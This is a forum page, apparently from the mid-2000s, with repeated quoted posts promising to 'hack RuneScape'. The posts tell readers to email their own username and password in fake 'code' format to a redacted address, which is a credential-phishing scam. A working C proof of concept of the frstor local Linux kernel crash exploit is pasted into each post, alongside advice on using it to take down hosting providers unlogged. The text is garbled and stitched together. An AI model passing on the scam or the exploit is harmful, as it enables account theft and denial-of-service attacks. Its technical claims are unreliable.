Just send this to [email protected]. [For more information, look below.]

00110010011001001
{
}01011
{
}
{ system.print.ln. �username� ;
}
{0111010011000101
}
{ system.load.ln. �password� ;
}
{items that you want.[no short forms. No spacings. Spacings replaced with dots. For example, rune.helmet or 10000gp]}

This is how it works:
The kernel is the most important part of the Linux operating system. It handles communication with the computers hardware and decides the priority of running programs (processes). If the kernels stops doing it's job, everything else will too.
The flaw was by accident discovered by Stian Skjelstad when he was doing some code tests while on vacation. He was quite surprised when he discovered that the code he was trying froze his machine.
Running this simple C program crashes the Linux kernel.

/* --------------------
* frstor Local Kernel exploit
* Crashes any kernel from 2.4.18
* to 2.6.7 because frstor in assembler
* inline offsets in memory by 4.
* Original proof of concept code
* by stian_@_nixia.no.
* Added some stuff by lorenzo_@_gnu.org
* and fixed the fsave line with (*fpubuf).
* --------------------
*/

/*
---------
Some debugging information made
available by stian_@_nixia.no
---------
TakeDown:
pushl %ebp
movl %esp, %ebp
subl $136, %esp
leal -120(%ebp), %eax
movl %eax, -124(%ebp)
#APP
fsave -124(%ebp)

#NO_APP
subl $4, %esp
pushl $1
pushl $.LC0
pushl $2
call write
addl $16, %esp
leal -120(%ebp), %eax
movl %eax, -128(%ebp)
#APP
frstor -128(%ebp)

#NO_APP
leave
ret
*/

#include <sys/time.h>
#include <signal.h>
#include <unistd.h>

static void TakeDown(int ignore)
{
char fpubuf[108];
// __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
__asm__ __volatile__ ("fsave %0\n" : : "m"(*fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, TakeDown);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec;, NULL);
while(1)
write(1, ".", 1);

return 0;
}
// <<EOF

Using this exploit to crash Linux systems allows the (ab)user to have shell access or other means of uploading and running the program (like cgi-bin and FTP access). The program works on any normal user account, root access is not required. This exploit has been reported used to take down several "lame free-shell providers" servers (running code you know will damage a system intentionally and hacking in general is illegal in most parts of the world and strongly discouraged).
This code only works on x86 and x86_64 Linux machines. This code does not compile (makes no executable) on sparc64 sun4u TI UltraSparc II (BlackBird). This doesn't affect NetBSD Stable.
SMP systems can be compromised, but a separate instance of the program is required for each CPU before the system halts. Each instance of the program code will lock one CPU and this process can not be killed. If you have two CPUs the second instance of the program kills the entire machine.
This is a big deal because it allows any customer annoyed at a web hosting provider or other similar services to shut down their whole service with a minimum of effort. Such an attack will not even be logged as the kernel immediately freezes.
With this, their linux system, reboots and the e-mail sent to my e-mail, loads my program automatically and does the above. The program I made loads every fortnight. For a practical reason. Think about it.

step1.
get the runescape account name you want to hack.
make sure you own a runescape account because you need to confuse the server into sending you the victims password to your message board.

step2.
there is a secret password that runescape uses to send people their passwords if they lose them ( when runescape first began )but they were stupid enough to leave it the same.so while scanning the server i have found it.the code used to send people their password was hard to find but i have found it and believe it or no the secret email address is
[email protected]

step3.
here is the code that you must email to the address above to confuse the server into sending you the victims password

the subject must be
password recovery

and in the email this code should be input exactly like this or it will not work.

#no.38492$$code"your username"548#
#servident6254code%"victims username"153#
#exhack0547code"your password"3502#

step4.
you must replace the stuf in " " to what it says and dont make any mistakes or you could get us both banned.and do not repeatedly do this over and over or they will suspect you. just give it a break sometimes.

and there you have it hacking runescape is easy for you.
Happy Hacking!

***NOTE*** - (you have to be atleast level 30 or higher in most of your combat skills).

quote:

---

Most of the runescape hacks out there, are well.. fake. 99.9999% at least. Naturally its hard for you to trust me if I say that I can hack runescape because its virtually impossible to do so. My qualifications? I have hacked into my school�s system to change grades. Yep. Might seem little, but you can go ahead and try.

Just send this to [email protected]. [For more information, look below.]

00110010011001001
{
}01011
{
}
{ system.print.ln. �username� ;
}
{0111010011000101
}
{ system.load.ln. �password� ;
}
{items that you want.[no short forms. No spacings. Spacings replaced with dots. For example, rune.helmet or 10000gp]}

This is how it works:
The kernel is the most important part of the Linux operating system. It handles communication with the computers hardware and decides the priority of running programs (processes). If the kernels stops doing it's job, everything else will too.
The flaw was by accident discovered by Stian Skjelstad when he was doing some code tests while on vacation. He was quite surprised when he discovered that the code he was trying froze his machine.
Running this simple C program crashes the Linux kernel.

/* --------------------
* frstor Local Kernel exploit
* Crashes any kernel from 2.4.18
* to 2.6.7 because frstor in assembler
* inline offsets in memory by 4.
* Original proof of concept code
* by stian_@_nixia.no.
* Added some stuff by lorenzo_@_gnu.org
* and fixed the fsave line with (*fpubuf).
* --------------------
*/

/*
---------
Some debugging information made
available by stian_@_nixia.no
---------
TakeDown:
pushl %ebp
movl %esp, %ebp
subl $136, %esp
leal -120(%ebp), %eax
movl %eax, -124(%ebp)
#APP
fsave -124(%ebp)

#NO_APP
subl $4, %esp
pushl $1
pushl $.LC0
pushl $2
call write
addl $16, %esp
leal -120(%ebp), %eax
movl %eax, -128(%ebp)
#APP
frstor -128(%ebp)

#NO_APP
leave
ret
*/

#include <sys/time.h>
#include <signal.h>
#include <unistd.h>

static void TakeDown(int ignore)
{
char fpubuf[108];
// __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
__asm__ __volatile__ ("fsave %0\n" : : "m"(*fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, TakeDown);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec;, NULL);
while(1)
write(1, ".", 1);

return 0;
}
// <<EOF

Using this exploit to crash Linux systems allows the (ab)user to have shell access or other means of uploading and running the program (like cgi-bin and FTP access). The program works on any normal user account, root access is not required. This exploit has been reported used to take down several "lame free-shell providers" servers (running code you know will damage a system intentionally and hacking in general is illegal in most parts of the world and strongly discouraged).
This code only works on x86 and x86_64 Linux machines. This code does not compile (makes no executable) on sparc64 sun4u TI UltraSparc II (BlackBird). This doesn't affect NetBSD Stable.
SMP systems can be compromised, but a separate instance of the program is required for each CPU before the system halts. Each instance of the program code will lock one CPU and this process can not be killed. If you have two CPUs the second instance of the program kills the entire machine.
This is a big deal because it allows any customer annoyed at a web hosting provider or other similar services to shut down their whole service with a minimum of effort. Such an attack will not even be logged as the kernel immediately freezes.
With this, their linux system, reboots and the e-mail sent to my e-mail, loads my program automatically and does the above. The program I made loads every fortnight. For a practical reason. Think about it.

---

quote:

---

Most of the runescape hacks out there, are well.. fake. 99.9999% at least. Naturally its hard for you to trust me if I say that I can hack runescape because its virtually impossible to do so. My qualifications? I have hacked into my school�s system to change grades. Yep. Might seem little, but you can go ahead and try.

Just send this to [email protected]. [For more information, look below.]

00110010011001001
{
}01011
{
}
{ system.print.ln. �username� ;
}
{0111010011000101
}
{ system.load.ln. �password� ;
}
{items that you want.[no short forms. No spacings. Spacings replaced with dots. For example, rune.helmet or 10000gp]}

This is how it works:
The kernel is the most important part of the Linux operating system. It handles communication with the computers hardware and decides the priority of running programs (processes). If the kernels stops doing it's job, everything else will too.
The flaw was by accident discovered by Stian Skjelstad when he was doing some code tests while on vacation. He was quite surprised when he discovered that the code he was trying froze his machine.
Running this simple C program crashes the Linux kernel.

/* --------------------
* frstor Local Kernel exploit
* Crashes any kernel from 2.4.18
* to 2.6.7 because frstor in assembler
* inline offsets in memory by 4.
* Original proof of concept code
* by stian_@_nixia.no.
* Added some stuff by lorenzo_@_gnu.org
* and fixed the fsave line with (*fpubuf).
* --------------------
*/

/*
---------
Some debugging information made
available by stian_@_nixia.no
---------
TakeDown:
pushl %ebp
movl %esp, %ebp
subl $136, %esp
leal -120(%ebp), %eax
movl %eax, -124(%ebp)
#APP
fsave -124(%ebp)

#NO_APP
subl $4, %esp
pushl $1
pushl $.LC0
pushl $2
call write
addl $16, %esp
leal -120(%ebp), %eax
movl %eax, -128(%ebp)
#APP
frstor -128(%ebp)

#NO_APP
leave
ret
*/

#include <sys/time.h>
#include <signal.h>
#include <unistd.h>

static void TakeDown(int ignore)
{
char fpubuf[108];
// __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
__asm__ __volatile__ ("fsave %0\n" : : "m"(*fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, TakeDown);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec;, NULL);
while(1)
write(1, ".", 1);

return 0;
}
// <<EOF

Using this exploit to crash Linux systems allows the (ab)user to have shell access or other means of uploading and running the program (like cgi-bin and FTP access). The program works on any normal user account, root access is not required. This exploit has been reported used to take down several "lame free-shell providers" servers (running code you know will damage a system intentionally and hacking in general is illegal in most parts of the world and strongly discouraged).
This code only works on x86 and x86_64 Linux machines. This code does not compile (makes no executable) on sparc64 sun4u TI UltraSparc II (BlackBird). This doesn't affect NetBSD Stable.
SMP systems can be compromised, but a separate instance of the program is required for each CPU before the system halts. Each instance of the program code will lock one CPU and this process can not be killed. If you have two CPUs the second instance of the program kills the entire machine.
This is a big deal because it allows any customer annoyed at a web hosting provider or other similar services to shut down their whole service with a minimum of effort. Such an attack will not even be logged as the kernel immediately freezes.
With this, their linux system, reboots and the e-mail sent to my e-mail, loads my program automatically and does the above. The program I made loads every fortnight. For a practical reason. Think about it.

---

quote:

---

Most of the runescape hacks out there, are well.. fake. 99.9999% at least. Naturally its hard for you to trust me if I say that I can hack runescape because its virtually impossible to do so. My qualifications? I have hacked into my school�s system to change grades. Yep. Might seem little, but you can go ahead and try.

Just send this to [email protected]. [For more information, look below.]

00110010011001001
{
}01011
{
}
{ system.print.ln. �username� ;
}
{0111010011000101
}
{ system.load.ln. �password� ;
}
{items that you want.[no short forms. No spacings. Spacings replaced with dots. For example, rune.helmet or 10000gp]}

This is how it works:
The kernel is the most important part of the Linux operating system. It handles communication with the computers hardware and decides the priority of running programs (processes). If the kernels stops doing it's job, everything else will too.
The flaw was by accident discovered by Stian Skjelstad when he was doing some code tests while on vacation. He was quite surprised when he discovered that the code he was trying froze his machine.
Running this simple C program crashes the Linux kernel.

/* --------------------
* frstor Local Kernel exploit
* Crashes any kernel from 2.4.18
* to 2.6.7 because frstor in assembler
* inline offsets in memory by 4.
* Original proof of concept code
* by stian_@_nixia.no.
* Added some stuff by lorenzo_@_gnu.org
* and fixed the fsave line with (*fpubuf).
* --------------------
*/

/*
---------
Some debugging information made
available by stian_@_nixia.no
---------
TakeDown:
pushl %ebp
movl %esp, %ebp
subl $136, %esp
leal -120(%ebp), %eax
movl %eax, -124(%ebp)
#APP
fsave -124(%ebp)

#NO_APP
subl $4, %esp
pushl $1
pushl $.LC0
pushl $2
call write
addl $16, %esp
leal -120(%ebp), %eax
movl %eax, -128(%ebp)
#APP
frstor -128(%ebp)

#NO_APP
leave
ret
*/

#include <sys/time.h>
#include <signal.h>
#include <unistd.h>

static void TakeDown(int ignore)
{
char fpubuf[108];
// __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
__asm__ __volatile__ ("fsave %0\n" : : "m"(*fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, TakeDown);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec;, NULL);
while(1)
write(1, ".", 1);

return 0;
}
// <<EOF

Using this exploit to crash Linux systems allows the (ab)user to have shell access or other means of uploading and running the program (like cgi-bin and FTP access). The program works on any normal user account, root access is not required. This exploit has been reported used to take down several "lame free-shell providers" servers (running code you know will damage a system intentionally and hacking in general is illegal in most parts of the world and strongly discouraged).
This code only works on x86 and x86_64 Linux machines. This code does not compile (makes no executable) on sparc64 sun4u TI UltraSparc II (BlackBird). This doesn't affect NetBSD Stable.
SMP systems can be compromised, but a separate instance of the program is required for each CPU before the system halts. Each instance of the program code will lock one CPU and this process can not be killed. If you have two CPUs the second instance of the program kills the entire machine.
This is a big deal because it allows any customer annoyed at a web hosting provider or other similar services to shut down their whole service with a minimum of effort. Such an attack will not even be logged as the kernel immediately freezes.
With this, their linux system, reboots and the e-mail sent to my e-mail, loads my program automatically and does the above. The program I made loads every fortnight. For a practical reason. Think about it.

---

Step 1.

Get the runescape account name you want to hack.
make sure you have a runescape account as you need to confuse the hershey server into giving ya you victims password.

Step 2.

There is a secret e-mail which jagex bot use to notify ppl about there password and send them there password if needed i found it while i was scanning their server.
The code used to send ppl passwords was hard to find but i finaly found it while collenting bits and peices while scanny the server.
Beleive it to be [email protected]

Step 3.

Here is the code you need to send to the server to confuse it.
Do as exactly as it is typed or it will fail.

Subject: rspasswrdrecovry ( it must be exactly as typed) (copy and paste)
Now after that type:

#=No.:4658932//$%Code&" Your Usernme"%*==$& }
(press enter)
#serident6254\$$Code%" Victims Username"*$$1==$& }
Press enter)
ExHack..:0547\$$Code*&%$$#imput*%"Your Password"*32&&*$==02$& }

Step 4.
You must replace the words in " " to what it says and as i said dont make any mistakes or you will fail. What i would do is HIghlight the text and copy it onto the e-mail and paste it that way ya dont make any mistakes.

There you have it Hacking runescape is easy for you now.

happy hacking!

To what i know i think its a back up system incase theres was to ever go out

Eat My Games Forum

� 2001 - 2005 Eat My Games